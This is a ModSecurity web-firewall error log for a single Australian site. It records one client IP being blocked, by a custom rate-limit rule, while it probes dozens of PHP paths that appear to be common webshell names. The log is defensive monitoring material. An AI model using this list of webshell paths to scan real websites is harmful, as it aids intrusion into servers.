[Fri Mar 27 04:50:26.674383 2026] [:error] [pid 63897:tid 63903] [client 72.146.33.200:65241] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "acWcEmVSkmYmLu7ycYjG7QAAAQQ"]
[Fri Mar 27 04:50:27.400793 2026] [:error] [pid 27750:tid 27836] [client 72.146.33.200:64013] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "acWcE4aSil5rd17ieLwoyQAAAJI"]
[Fri Mar 27 04:50:28.055068 2026] [:error] [pid 63897:tid 63903] [client 72.146.33.200:62302] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "acWcFGVSkmYmLu7ycYjG-QAAAQQ"]
[Fri Mar 27 04:50:28.586576 2026] [:error] [pid 63897:tid 63908] [client 72.146.33.200:65259] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "acWcFGVSkmYmLu7ycYjG_QAAAQk"]
[Fri Mar 27 04:50:29.136771 2026] [:error] [pid 27749:tid 27811] [client 72.146.33.200:63727] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "acWcFcEqyoMni2Q6_X5RrgAAAFQ"]
[Fri Mar 27 04:50:29.674734 2026] [:error] [pid 27749:tid 27797] [client 72.146.33.200:64408] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "acWcFcEqyoMni2Q6_X5RsQAAAEY"]
[Fri Mar 27 04:50:30.184253 2026] [:error] [pid 63897:tid 63904] [client 72.146.33.200:64073] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "acWcFmVSkmYmLu7ycYjHBAAAAQU"]
[Fri Mar 27 04:50:30.842186 2026] [:error] [pid 27749:tid 27798] [client 72.146.33.200:65272] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws83.php"] [unique_id "acWcFsEqyoMni2Q6_X5RuQAAAEc"]
[Fri Mar 27 04:50:31.391453 2026] [:error] [pid 27743:tid 27787] [client 72.146.33.200:65232] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws83.php"] [unique_id "acWcFyA46UYYLqzw99DytgAAABc"]
[Fri Mar 27 04:50:32.206789 2026] [:error] [pid 27851:tid 27868] [client 72.146.33.200:65312] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws83.php"] [unique_id "acWcGHR2ccxe3RMCLbr9IAAAAMo"]
[Fri Mar 27 04:50:32.724613 2026] [:error] [pid 27851:tid 27862] [client 72.146.33.200:65249] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws83.php"] [unique_id "acWcGHR2ccxe3RMCLbr9IgAAAMQ"]
[Fri Mar 27 04:50:33.333944 2026] [:error] [pid 27750:tid 27822] [client 72.146.33.200:65231] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "acWcGYaSil5rd17ieLwozQAAAIQ"]
[Fri Mar 27 04:50:33.916368 2026] [:error] [pid 63897:tid 63921] [client 72.146.33.200:64808] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "acWcGWVSkmYmLu7ycYjHDgAAARY"]
[Fri Mar 27 04:50:34.405818 2026] [:error] [pid 27750:tid 27819] [client 72.146.33.200:64783] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "acWcGoaSil5rd17ieLwozgAAAIE"]
[Fri Mar 27 04:50:34.932065 2026] [:error] [pid 63897:tid 63923] [client 72.146.33.200:64782] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "acWcGmVSkmYmLu7ycYjHEwAAARg"]
[Fri Mar 27 04:50:35.516912 2026] [:error] [pid 27743:tid 27775] [client 72.146.33.200:64416] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "acWcGyA46UYYLqzw99DyugAAAAs"]
[Fri Mar 27 04:50:36.338392 2026] [:error] [pid 63897:tid 63920] [client 72.146.33.200:62315] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "acWcHGVSkmYmLu7ycYjHHgAAARU"]
[Fri Mar 27 04:50:36.972699 2026] [:error] [pid 63897:tid 63911] [client 72.146.33.200:64447] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "acWcHGVSkmYmLu7ycYjHIwAAAQw"]
[Fri Mar 27 04:50:37.541792 2026] [:error] [pid 27750:tid 27823] [client 72.146.33.200:64123] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "acWcHYaSil5rd17ieLwo0AAAAIU"]
[Fri Mar 27 04:50:38.058144 2026] [:error] [pid 27750:tid 27820] [client 72.146.33.200:64732] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "acWcHoaSil5rd17ieLwo0QAAAII"]
[Fri Mar 27 04:50:38.636001 2026] [:error] [pid 63897:tid 63922] [client 72.146.33.200:64727] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "acWcHmVSkmYmLu7ycYjHKgAAARc"]
[Fri Mar 27 04:50:39.210114 2026] [:error] [pid 63897:tid 63911] [client 72.146.33.200:65278] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "acWcH2VSkmYmLu7ycYjHLQAAAQw"]
[Fri Mar 27 04:50:39.744936 2026] [:error] [pid 63897:tid 63914] [client 72.146.33.200:64761] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "acWcH2VSkmYmLu7ycYjHLgAAAQ8"]
[Fri Mar 27 04:50:40.304768 2026] [:error] [pid 63897:tid 63899] [client 72.146.33.200:62279] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "acWcIGVSkmYmLu7ycYjHMgAAAQA"]
[Fri Mar 27 04:50:41.003211 2026] [:error] [pid 63897:tid 63922] [client 72.146.33.200:64811] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "acWcIWVSkmYmLu7ycYjHOgAAARc"]
[Fri Mar 27 04:50:41.537182 2026] [:error] [pid 27749:tid 27810] [client 72.146.33.200:64758] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "acWcIcEqyoMni2Q6_X5RwwAAAFM"]
[Fri Mar 27 04:50:42.005187 2026] [:error] [pid 27851:tid 27872] [client 72.146.33.200:64763] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "acWcInR2ccxe3RMCLbr9LgAAAM4"]
[Fri Mar 27 04:50:42.638492 2026] [:error] [pid 27750:tid 27823] [client 72.146.33.200:62286] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjfl.php"] [unique_id "acWcIoaSil5rd17ieLwo2wAAAIU"]
[Fri Mar 27 04:50:43.255726 2026] [:error] [pid 63897:tid 63921] [client 72.146.33.200:64709] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjfl.php"] [unique_id "acWcI2VSkmYmLu7ycYjHQwAAARY"]
[Fri Mar 27 04:50:43.834778 2026] [:error] [pid 27750:tid 27839] [client 72.146.33.200:64072] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjfl.php"] [unique_id "acWcI4aSil5rd17ieLwo3wAAAJU"]
[Fri Mar 27 04:50:44.669149 2026] [:error] [pid 27750:tid 27842] [client 72.146.33.200:62300] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjfl.php"] [unique_id "acWcJIaSil5rd17ieLwo5AAAAJg"]
[Fri Mar 27 04:50:45.618492 2026] [:error] [pid 63897:tid 63920] [client 72.146.33.200:65296] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "acWcJWVSkmYmLu7ycYjHTAAAARU"]
[Fri Mar 27 04:50:49.424080 2026] [:error] [pid 27851:tid 27876] [client 72.146.33.200:64084] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "acWcKXR2ccxe3RMCLbr9OwAAANI"]
[Fri Mar 27 04:50:52.246114 2026] [:error] [pid 63897:tid 63915] [client 72.146.33.200:64432] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "acWcLGVSkmYmLu7ycYjHZwAAARA"]
[Fri Mar 27 04:50:52.885986 2026] [:error] [pid 63897:tid 63899] [client 72.146.33.200:63645] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "acWcLGVSkmYmLu7ycYjHbQAAAQA"]
[Fri Mar 27 04:50:53.419021 2026] [:error] [pid 27743:tid 27766] [client 72.146.33.200:65237] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "acWcLSA46UYYLqzw99DywwAAAAI"]
[Fri Mar 27 04:50:54.095050 2026] [:error] [pid 27851:tid 27864] [client 72.146.33.200:64779] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "acWcLnR2ccxe3RMCLbr9RgAAAMY"]
[Fri Mar 27 04:50:54.620175 2026] [:error] [pid 27750:tid 27819] [client 72.146.33.200:64809] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "acWcLoaSil5rd17ieLwo9AAAAIE"]
[Fri Mar 27 04:50:55.504051 2026] [:error] [pid 27750:tid 27836] [client 72.146.33.200:64752] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "acWcL4aSil5rd17ieLwo-wAAAJI"]
[Fri Mar 27 04:50:56.144145 2026] [:error] [pid 27743:tid 27776] [client 72.146.33.200:64786] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acWcMCA46UYYLqzw99DyyAAAAAw"]
[Fri Mar 27 04:50:56.652228 2026] [:error] [pid 27750:tid 27821] [client 72.146.33.200:65298] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acWcMIaSil5rd17ieLwpAQAAAIM"]
[Fri Mar 27 04:50:57.305660 2026] [:error] [pid 27743:tid 27778] [client 72.146.33.200:65289] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acWcMSA46UYYLqzw99DyygAAAA4"]
[Fri Mar 27 04:50:57.903386 2026] [:error] [pid 27750:tid 27838] [client 72.146.33.200:64434] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acWcMYaSil5rd17ieLwpBQAAAJQ"]
[Fri Mar 27 04:50:58.547978 2026] [:error] [pid 27750:tid 27823] [client 72.146.33.200:64730] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "acWcMoaSil5rd17ieLwpBgAAAIU"]
[Fri Mar 27 04:50:59.068879 2026] [:error] [pid 27750:tid 27835] [client 72.146.33.200:64740] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "acWcM4aSil5rd17ieLwpCAAAAJE"]
[Fri Mar 27 04:50:59.826521 2026] [:error] [pid 27750:tid 27842] [client 72.146.33.200:62299] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "acWcM4aSil5rd17ieLwpCQAAAJg"]
[Fri Mar 27 04:51:00.624426 2026] [:error] [pid 27851:tid 27880] [client 72.146.33.200:64823] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "acWcNHR2ccxe3RMCLbr9VAAAANY"]
[Fri Mar 27 04:51:01.215960 2026] [:error] [pid 27749:tid 27806] [client 72.146.33.200:65275] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "acWcNcEqyoMni2Q6_X5R1gAAAE8"]
[Fri Mar 27 04:51:01.764051 2026] [:error] [pid 27749:tid 27799] [client 72.146.33.200:65264] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "acWcNcEqyoMni2Q6_X5R2QAAAEg"]
[Fri Mar 27 04:51:02.407167 2026] [:error] [pid 27743:tid 27780] [client 72.146.33.200:62285] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "acWcNiA46UYYLqzw99Dy0wAAABA"]
[Fri Mar 27 04:51:02.979572 2026] [:error] [pid 27749:tid 27810] [client 72.146.33.200:65341] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "acWcNsEqyoMni2Q6_X5R3QAAAFM"]
[Fri Mar 27 04:51:03.953582 2026] [:error] [pid 63897:tid 63912] [client 72.146.33.200:64815] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "acWcN2VSkmYmLu7ycYjHhwAAAQ0"]
[Fri Mar 27 04:51:04.507482 2026] [:error] [pid 63897:tid 63920] [client 72.146.33.200:64828] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "acWcOGVSkmYmLu7ycYjHiAAAARU"]
[Fri Mar 27 04:51:05.571811 2026] [:error] [pid 27743:tid 27777] [client 72.146.33.200:65323] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "acWcOSA46UYYLqzw99Dy3AAAAA0"]
[Fri Mar 27 04:51:06.299642 2026] [:error] [pid 27749:tid 27796] [client 72.146.33.200:64789] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "acWcOsEqyoMni2Q6_X5R7wAAAEU"]
[Fri Mar 27 04:51:07.367943 2026] [:error] [pid 63897:tid 63914] [client 72.146.33.200:64426] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "acWcO2VSkmYmLu7ycYjHkQAAAQ8"]
